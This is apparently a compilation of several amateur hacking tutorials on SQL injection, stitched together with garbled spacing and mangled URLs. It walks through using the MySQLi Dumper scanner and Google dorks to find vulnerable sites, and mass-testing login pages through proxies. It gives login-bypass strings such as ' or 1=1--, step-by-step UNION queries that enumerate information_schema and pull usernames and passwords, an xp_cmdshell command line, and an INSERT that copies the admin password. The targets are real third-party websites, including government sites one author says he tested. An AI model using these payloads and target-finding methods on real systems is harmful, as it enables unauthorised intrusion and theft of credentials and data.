MySQLi Dumper

Table of contents:
1.Introduction
2.Getting the program
3.Running the Scan
4.Finding the vulnerabilities
5.Understanding the program
6.Exploitation
7.Getting the Tables
8.Leaving your message
Disclaimer:
We by no means encourage or take responsibility of the tutorial of this program. Blah blah blah...don't do anything stupid guys.
Introduction:
Welcome to my second article, in this article basically we will be looking at the program: MySQLi Dumper, which is a SQL vulnerability Scanner, that deals with the dumping of data through SQL injection. Now it has only been recently that i have discovered the uses of having a SQL scanner, and i have still not yet mastered it or configured it to a wider range of exploits. However, i had to spread the word.
Basically the role of a scanner is to use search engine's results (Google/Yahoo) to find pages that have queries that may be vulnerable. In this article, my goal is to basically run you through how to use MySQLi and also run through a bit of the theory behind the exploit/attack.
Getting the Program:
Before we begin scanning any sites, we must first all have our own copies of the program. To get the program, all we have to do is download it from this site: Click Me
Once u have it downloaded, extract the files and save it to a safe and secure folder and open the program.
Running the Scan:
Okay, well now you should have to program open and on the page you should see essentially a blank page, which at the top has a set of tabs:
- Scanner
- Num.Blind
- Dump MySQL
- ETC
Logically, if we are to have any chance of finding an exploit, we must first have our archive of possible, vulnerable sites. Hence, we come to the scanner tab.
This tab basically allows us to put in which criteria we want to scan for, and from what search engine we are going to do it from.
So for this example we are going to be searching for pages with SQL based queries. This is going to be our first search type:
Click Me
Here we have the following criteria:
- URL has ".php?newsid="
- From Google
- Timeout of 5 seconds (increase this if your internet is slow and vice versa)
- Results of 100pages
Once, we have our settings dialed right, we have to click "Start Scann SQLi" and away we go.
/* on a side note, you can change these values for different sites *\
Finding the Vulnerabilities:
Now comes the beauty of this program, the ability to inject chosen SQL into the archive to find a vulnerability.
- To get there click on the Vuln.SQLi tab
- Configure your settings to that of your internet standards.
- Also there is now a SQL injection drop down box, you can configure that to determine which SQL injection you want to produce the errors.
Now all you do is click Start Scan .
Understanding the program:
Now with all programs like these, it is essentially very easy to know the process of running the application, without actually knowing the theory of how the program is working.
When scanning for vulnerable sites, the program injects code into the database that will output an error.
A very common (and default) way of returning an error is to input something that is essentially incorrect.
A MYSQL page for example uses SQL queries to search a given database for given results. Now if we were to input an error after this, the database would return an error, and if the page is vulnerable, will also return that error.
In the SQL injection part of the Vuln.SQLi tab, we will find the default SQL injection as being:
CODE :
+ and+0 =1+ union+ select+
What this does is input corrupt data into the database and hope for a result.
CODE :
An example: www.vulnsite.com/index.php?id=0
Now this site has a PHP query for the variable id.
If we were to inject arbitrary code after it, we could possibly output and error and we would know we may exploit it.
So for hypothetical sake, we input the following:
CODE :
www.vulnsite.come/index.php?i d=0+ AND+0 =1+ UNION+ SELECT+
And the page outputs an error, we know we have a probable:
CODE :
mysql_num_rows() line 255
Exploitation:
Alright, now at this point, we should have a list of vulnerable sites, and we now need to see if they are exploitable.
So, once we have these pages we copy and paste our first page, and we go to the "Num.Blind Tab".
Now we should have pasted the page into the main form and click GET.
Page should look like this:
Click Me
Now part of this exploitation is searching through errors to see when they disappear or when the error no longer applies. So the program will guide us through this process with the GET PAGE button.
OK to get started I'll make easy I'll do it in steps:
- Put page into the top bar and click GET PAGE
- The page should come up with an error of some sort on the screen, make note of it and click GET PAGE again.
- Keep clicking GET PAGE until the error disappears....WE have our point of exploitation
- Now since the code is now true we must change:
CODE :
id=1 to id=-1
- Once it's edited click 'GET PAGE MANUALLY'
- If you have done everything right, the errors should disappear and we should get an output... An example is here... Click Me
Making the attack:
Now we have found an insecure site, we need to go to the DUMP MYSQL tab, and paste in the top form.
Once it is pasted, you must remember the output for which the database echoed...In my example it was '3', however this will change.

List Of Sql Injection Strings..

One of the major problems with SQL is its poor security issues surrounding is the login and url strings. This tutorial is not going to go into detail on why these string work as all these details have been given in my previous article Top 10 Tricks to exploit SQL Server Systems . First SEARCH the following Keywords in Google or any Search Engine: admin\login.asp
login.asp with these two search string you will have plenty of targets to chose from...choose one that is Vulnerable INJECTION STRINGS: How to use it? This is the easiest part...very simple On the login page just enter something like user:admin (you dont even have to put this.)
pass:' or 1 =1 - or user:' or 1 =1-
admin:' or 1 =1 - Some sites will have just a password so password:' or 1 =1- In fact I have compiled a combo list with strings like this to use on my chosen targets. There are plenty of strings in the list below. There are many other strings involving for instance UNION table access via reading the error pages table structure thus an attack with this method will reveal eventually admin U\P paths. The one I am interested in are quick access to targets PROGRAM i tried several programs to use with these search strings and upto now only Ares has peformed well with quite a bit of success with a combo list formatted this way. Yesteday I loaded 40 eastern targets with 18 positive hits in a few minutes how long would it take to go through 40 sites cutting and pasting each string combo example: admin:' or a=a-
admin:' or 1 =1 - And so on. You don't have to be admin and still can do anything you want. The most important part is example:' or 1 =1- this is our basic injection string Now the only trudge part is finding targets to exploit. So I tend to search say google for login.asp or whatever inurl:login.asp
index of:/admin/login.asp like this: index of login.asp result: http://www3 .google.com/search?hl=en&ie=I SO...G=Google+Search 17 ,000 possible targets trying various searches spews out plent more Now using proxy set in my browser I click through interesting targets. Seeing whats what on the site pages if interesting I then cut and paste URL as a possible target. After an hour or so you have a list of sites of potential targets like so http://www.somesite.com/login. asp
http://www.another.com/admin /login.asp and so on. In a couple of hours you can build up quite a list because I don't select all results or spider for log in pages. I then save the list fire up Ares and enter 1) A Proxy list
2) My Target IP list
3) My Combo list
4) Start. Now I dont want to go into problems with users using Ares..thing is i know it works for me... Sit back and wait. Any target vulnerable will show up in the hits box. Now when it finds a target it will spew all the strings on that site as vulnerable. You have to go through each one on the site by cutting and pasting the string till you find the right one. But the thing is you know you CAN access the site. Really I need a program that will return the hit with a click on url and ignore false outputs. I am still looking for it. This will saves quite a bit of time going to each site and each string to find its not exploitable. There you go you should have access to your vulnerable target by now Another thing you can use the strings in the urls were user=? edit the url to the = part and paste ' or 1 =1 - so it becomes user=' or 1 =1- just as quick as login process Combo List There are lot of other variations of the Injection String which I cannot put on my blog because that is Illegal. If you are interested I can send it to you through Email. Just write in your email address in comment and I will send it to you as early as possible but you need to remain patient it may take 1 or 2 days.

MYSQL TUTORIAL PART 2

Sub-section 2 :
Find the number of columns
So, now its time to find the number of columns present. For this purpose, we will be using 'order by' until we get error.
That is, we make our URL query as:
www.site.com/article.php?id=5 order by 1/*
//this didn't give error.
Now, I do increase it to 2.
www.site.com/article.php?id=5 order by 2/*
//still no error
So, we need to increase until we get the error.
In my example, I got error when I put the value 3 i.e.
www.site.com/article.php?id=5 order by 3/*
//this gave me error.
So, it means there are 2 columns in the current table (3- 1 =2). This is how we find the number of columns.
Sub-section 3 :
Addressing Vulnerable Part:
Now, we need to use union statement & find the column which we can replace so as to see the secret data on the page.
First lets craft the union statement which won't error.. This becomes like this:
www.site.com/article.php?id=5 UNION ALL SELECT null/*
This would error because our query needs to have one more null there.. Also null doesn't cause any type conversion error as it is just null..
So for our injection, it becomes:
www.site.com/article.php?id=5 UNION ALL SELECT null,null/*
For this we do:
www.site.com/article.php?id=5 UNION ALL SELECT 1 ,2/*
Now we will see the number(s) on the page somewhere. I mean, either 1 or 2 or both 1 & 2 are seen on the page. Note that the number may be displayed anywhere like in the title of the page or sometime even in the hidden tags in the source.. So, this means we can replace the number with our commands to display the private data the DB holds.
In my example, 1 is seen on the page. This means, I should replace 1 with my things to proceed further. Got it?? So lets move forward.
Quick note: Sometime the numbers may not be displayed so it becomes hard for you to find the column which you can use to steal the data.. So in that case, you may try something like below:
www.site.com/article.php?id=5 UNION ALL SELECT xyz123,null/*
or
www.site.com/article.php?id=5 UNION ALL SELECT null,xyz123/*
If xyz123 is displayed somewhere in the page, you may go further for injection replacing the text part... Here, I have kept text instead of integer to check if text is displayed... Also, be sure to check source because sometimes they may be in some hidden tags..
CTD...

Sub-section 4 :
Finding MySQL version:
For our injection, it is necessary to find the MySQL version bcoz if it is 5, our job becomes lot easier. To check the version, there is a function @@version or version().
So, what we do is replace 1(which is the replaceable part) with @@version i.e. we do as below:
www.site.com/article.php?id=5 UNION ALL SELECT @@version,2/*
or
www.site.com/article.php?id=5 UNION ALL SELECT version (),2/*
So, this would return the version of MySQL running on the server.
But, sometimes u may get error with above query. If that is the case, do use of unhex(hex()) function like this:
www.site.com/article.php?id=UN ION ALL SELECT unhex(hex (@@version)),2/*
Remember that if u have to use unhex(hex()) function here, u will also have to use this function in the injection process later on.
@@version will give u the version. It may be either 4 (or below) or 5 & above. I m now going to discuss the injection process for version 5 and 4 separately coz as I said earlier, version 5 makes it easy for us to perform the injection.
Quick note: Also, you may check for user, database,etc.. by using following:
www.site.com/article.php?id=5 UNION ALL SELECT user (),2/*
http://www.site.com/article.ph p?id=5 UNION ALL SELECT database(),2/*
Sub-section 5 :
MySQL 5 or above injection:
Here, I m gonna show u how to access data in the server running MySQL 5 or above.
U got MySQL version 5.0.27 standard using the @@version in url parameter. MySQL from version 5 has a useful function called information_schema. This is table that holds information about the tables and columns present in the DB server. That is, it contains name of all tables and columns of the site.
For getting table list, we use: table_name from information_schema.tables
For getting column list, we use: column_name from information_schema.columns
So our query for getting the table list in our example would be:
www.site.com/article.php?id=5 UNION ALL SELECT table_name,2 FROM information_schema.tables/*
And yeah if u had to use unhex(hex()) while finding version, u will have to do:
www.site.com/article.php?id=5 UNION ALL SELECT unhex (hex(table_name)),2 FROM information_schema.tables/*
This will list all the tables present in the DB. For our purpose, we will be searching for the table containing the user and password information. So we look the probable table with that information. U can even write down the table names for further reference and works. For my example, I would use the tbluser as the table that contains user & password.
Similarly, to get the column list, we would make our query as:
www.site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns/*
This returns all the columns present in the DB server. Now from this listing, we will look for the probable columns for username and password. For my injection, there are two columns holding these info. They are username and password respectively. Succeed in above and then comment here to get more info

MySQL Injection Tutorial Described

TABLE OF CONTENT:
#INTRO
#WHAT IS DATABASE?
#WHAT IS SQL INJECTION?
#BYPASSING LOGINS
#ACCESSING SECRET DATA
#Checking for vulnerability
#Find the number of columns
#Addressing vulnerable part
#Finding MySQL version
#MySQL 5 or above injection
#MySQL 4 injection
#MODIFYING SITE CONTENT
#SHUTTING DOWN THE MySQL SERVER
#LOADFILE
#MySQL ROOT
#MAJOR MySQL COMMANDS
#FINALIZING THE INJECTION TUTORIAL
#REFERENCES
#SECURITY SITES
#WARGAMEZ SITES
#GREETZ AND SHOUTZ
#THE END
INTRO!!
In this tutorial, I will demonstrate the infamous MySQL injection in newbie perspective so that all the newbies become able to become successful SQL injector. But, be sure to check various php & mysql functions in various sites which will help you a lot... lets begin our walkthrough of SQL injection.
WHAT IS DATABASE?
Just general info.. Database is the application that stores a collection of data. Database offers various APIs for creating, accessing and managing the data it holds. And database(DB) servers can be integrated with our web development so that we can pick up the things we want from the database without much difficulties. DB may hold various critical informations like usernames, passwords, credit cares,etc. So, DB need to be secured but many DB servers running are insecured either bcoz of their vulnerability or bcoz of poor programming handles. To name few DB servers, MySQL(Open source), MSSQL, MS-ACCESS, Oracle, Postgre SQL(open source), SQLite, etc.
WHAT IS SQL INJECTION?
SQL injection is probably the most abundant programming flaw that exists on the internet at present. It is the vulnerability through which unauthorized person can access the various critical and private dat. SQL injection is not a flaw in the web or db server but but is a result of the poor and inexperienced programming practices. And it is one of the deadliest as well as easiest attack to execute from remote location.
In SQL injection, we interact with DB server with the various commands and get various data from it. In this tutorial, I would be discussing 3 aspects of SQL injection namely bypassing logins, accessing the secret data and modifying the page contents. So lets head forward on our real walkthrough..
CTD...
BYPASSING LOGINS
Suppose, a site has a login form & only the registered users are allowed to enter the site. Now, say u wanted to bypass the login and enter the site as the legitimate user. If the login scriptblock is not properly sanitized by the programmer, u may have luck to enter the site. U might be able to login into the site without knowing the real username and real password by just interacting with the DB server. So, isn't that the beauty of SQL injection??
Let's see an example, where the username admin with the password pass123 can login to the site. Suppose, the SQL query for this is carried out as below:
SELECT USER from database WHERE username='admin' AND password='pass123'
And if above SELECT command evaluates true, user will be given access to the site otherwise not. Think what we could do if the scriptblock is not sanitized. This opens a door for the hackers to gain illegal access to the site.
In this example, the attacker can enter the following user data in the login form:
username: a or 1 =1--
password:blank
So, this would make our query as:
SELECT USER from database WHERE username='a' or 1 =1-- AND password=''
Note that -- is the comment operator and anything after it will be ignored as a comment. There exists another comment operator which is /*.
So our above query becomes:
SELECT USER from database WHERE username='a' or 1 =1
Now this query evaluates true even if there is no user called 'a' bcoz 1 =1 is always true and using OR makes the query return true when one of the query is true. And this gives access to the site admin panel.
There can be various other username and password combinations to play with the vulnerable sites. U can create ur own new combinations for the site login.
Few such combinations are:
username:' or 1 ='1 password:' or 1 ='1
username:' or '1 '='1 ' password:' or '1 '='1'
username:or 1 =1 password:or 1 =1
and there are many more cheat sheets. Just google. In fact, you can create your own such combination to bypass logins..
That's all about bypassing logins.
CTD...

ACCESSING SECRET DATA
SQL injection is not essentially done for bypassing logins only but it is also used for accessing the sensitive and secret data in the DB servers. This part is long, so I would be discussing in the subsections.
Sub-section 1 :
Checking for vulnerability
Suppose, u got a site:
http://www.site.com/article.ph p?id=5
Now to check if it is vulnerable, u would simply add ' in the end i.e. where id variable is assigned.
So, it is:
www.site.com/article.php?id=5'
Now if the site is not vulnerable, it filters and the page loads normally.
But, if it doesn't filter the query string, it would give the error something like below:
"MySQL Syntax Error By '5 '' In Article.php on line 15."
or
error that says us to check the correct MySQL version or MySQL Fetch error or sometimes just blank page. The error may be in any form. So it makes us sure that the site is vulnerable.
Also just using ' may not be the sure test; so you may try different things like:
www.site.com/article.php?id=5 union select 1--
If you get error with this, you again come to know that its vulnerable... Just try different things..
Read part 2 to continue...

What is SQL Injection ?

SQL injection is the most common and videly used exploit by hackers all over the world...few days back i was just doing some SQL injection test on Indian govt sites, I was shocked to see how many imp govt sites r open to it....this is a big thread for us...a malicious hacker can do a lot of harm if he wish to.
Vocabulary:
* SQL: Server Query Language- used in web applications to interact with databases.
* SQL Injection : Method of exploiting a web application by supplying user input designed to manipulate SQL database queries.
* "Injection": You enter the injections into an html form which is sent to the web application. The application then puts you input directly into a SQL query. In advertantly, this allows you to manipulate to query...
Prerequisite:
* A background of programming and a general idea of how most hacking methods are done.


Application:
* Hacking a SQL database- driven server (usually only the ones that use unparsed user input in database queries). There is still a surprising number of data-driven web applications on the net that are vulnerable to this type of exploit. Being as typical as all method, the frequency of possible targets decreases over time as the method becomes more known. This is one those exploits that aren't easily prevented by a simple patch but by a competent programmer.
Use:
First, let's look at a typical SQL query:
SELECT fieldName1 , fieldName2 FROM databaseName WHERE restrictionsToFilterWhichEntri esToReturn
Now, to dissect...
The red areas is where criterion is inputed. The rest of the query structures the query.
* SELECT fieldName1 , fieldName2 - Specifies the of the names of fields that will be returned from the database.
* FROM databaseName - Specifies the name of the database to search.
* WHERE restrictionsToFilterWhichEntri esToReturn - Specifies which entries to return.
Here is an example for somebody's login script:
SELECT userAcessFlags FROM userDatabase WHERE userName="(input here)" AND userPass="(input here)"
The idea is guess what that application's query looks like and input things designed to return data other than what was intended.
In the example, input like the following could give gain access to the administrator account:
User: administrator
Pass: " OR ""="
Making the query like this:
SELECT userAcessFlags FROM userDatabase WHERE userName="administrator" AND userPass="" OR ""=""
As you can see, ""="" (nothing does indeed match nothing)
Note: Injections are rarely as simple as this...
One can be creative and use error messages to your advantadge to access other databases, fields, and entries. Learn a little SQL to use things like UNION to merges query results with ones not intended.On the security side, parse user data and get rid of any extra symbols now that you know how it's done.
The idea in this example is to break out of the quotation marks.
When stuff is inside quotation marks, the stuff isn't processed as code or anything but as a phrase and what it is.
The password injection was: " OR ""="
What this does is close the string that was started by the quotation mark in the part userPass=". Once you break out, THEN stuff is considered code. So, I put OR ""=" after I break out of the string. You will notice that it is comparing two quotation marks with one, but the quotation mark already built in by the application finishes it so we have this:
userPass="" OR ""=""
Notice how the first and last quotation marks are not colored and are not built in.
Additional notes:
This was just an extremely simplified version and you will probably need to learn a little SQL to fully understand.
Here are a few SQL terms that do other things:
UNION: You use this to merge the results of one query with another. You may put things like SELECT after UNION in order to search other databases and stuff. Sometimes you may need to use ALL in conjuction to break out of certain clauses. It does no harm so when in doubt you could do something like:
" UNION ALL SELECT 0,'','hash' FROM otherDatabase WHERE userName="admin
The key when using UNION is to make your new query return the same amount of columns in the same datatype so that you may get the results you want.
:-- This works sometimes to terminate the query so that it ignores to the rest of the stuff that might be fed afterwards if you don't like it. For example:
SELECT * FROM userDatabase WHERE userName="admin";--" AND userPass="aH0 qcQOVz7 e0s"
NOT IN: If you have no idea which record you want you could record cycle (you request vague info, and you put what you already got in the NOT IN clause so that you can get the next entry)
Usage:
SELECT userName userPass FROM userDatabase WHERE userName NOT IN ('Dehstil','Twistedchaos')
EXEC: This command should never work, but if it does...you win; you could do anything. For instance, you could inject something like this:
';EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:
All my examples so far have dealt with read processes. To manipulate a write process, here is an example for those who know what their doing:
INSERT INTO userProfile VALUES(''+ (SELECT userPass FROM userDatabase WHERE userName='admin')+ '' + 'Chicago' + 'male')
This example would theoretically put the admin's password in your profile.